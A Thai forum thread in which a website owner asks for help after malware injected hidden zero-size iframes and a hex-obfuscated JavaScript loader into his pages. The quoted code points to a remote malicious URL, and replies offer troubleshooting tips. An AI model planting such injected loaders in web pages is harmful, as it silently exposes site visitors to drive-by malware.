A-AA+then

เว็บโดนไวรัส

1,805
เว็บโดนไวรัส ชื่อ HTML/Infected.WebPage.Gen ครับ

อาการคือ มันจะสร้างหน้า index.html แล้วจะมี code ข้างในว่า

<iframe src="http://royrose1939.ph/spl/index.php" width="0" height="0"></iframe>

แล้วในหน้า index.php ของผมก็จะมี code แทรกอยู่ตรงส่วนบนว่า

<script language='JavaScript'>document.write(unescape('\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x5C\x22\x68\x74\x74\x70\x3A\x2F\x2F\x72\x6F\x79\x72\x6F\x73\x65\x31\x39\x33\x39\x2E\x70\x68\x2F\x73\x70\x6C\x2F\x69\x6E\x64\x65\x78\x2E\x70\x68\x70\x5C\x22\x20\x77\x69\x64\x74\x68\x3D\x5C\x22\x30\x5C\x22\x20\x68\x65\x69\x67\x68\x74\x3D\x5C\x22\x30\x5C\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E\x20'))</script>

และก็ตรงส่วนล่าง

<iframe src="http://royrose1939.ph/spl/index.php" width="0" height="0"></iframe>
<iframe src="http://royrose1939.ph/spl/index.php" width="0" height="0"></iframe>


เท่าที่ลองตรวจสอบดู น่าจะมาจากเครื่องที่ผมใช้ upload งานผ่านโปรแกรม ftp

มีใครเคยโดนเหมือนผมบ้างมั้ยครับ
ขอคำแนะนำหน่อยครับ

2 ความคิดเห็น

ลองตรวจสอบ javascript ต่างๆที่ include เข้ามาครับ อาจมีอยู่ในนั้น ลองยกเลิกมันทีละตัวเลยก็ได้ ปกติมันจะมาจากพวกนี้
1

มันฝังอยู่ในหน้า index.php ของผมเลยแหละครับ

ตอนนี้ค่อยข้างมั่นใจว่ามาจากคอมของผมแน่นอน

เพราะเว็บที่ผม upload จากคอมของผมมีปัญหาเดียวกัน

ผมลอง scan virus ทีเ่ครื่องผมแล้วก็ไม่เจอ

ผมใช้ AntiVir ครับ มี่ ตัวไหนดีดีแนะนำมั้ยครับ

2
^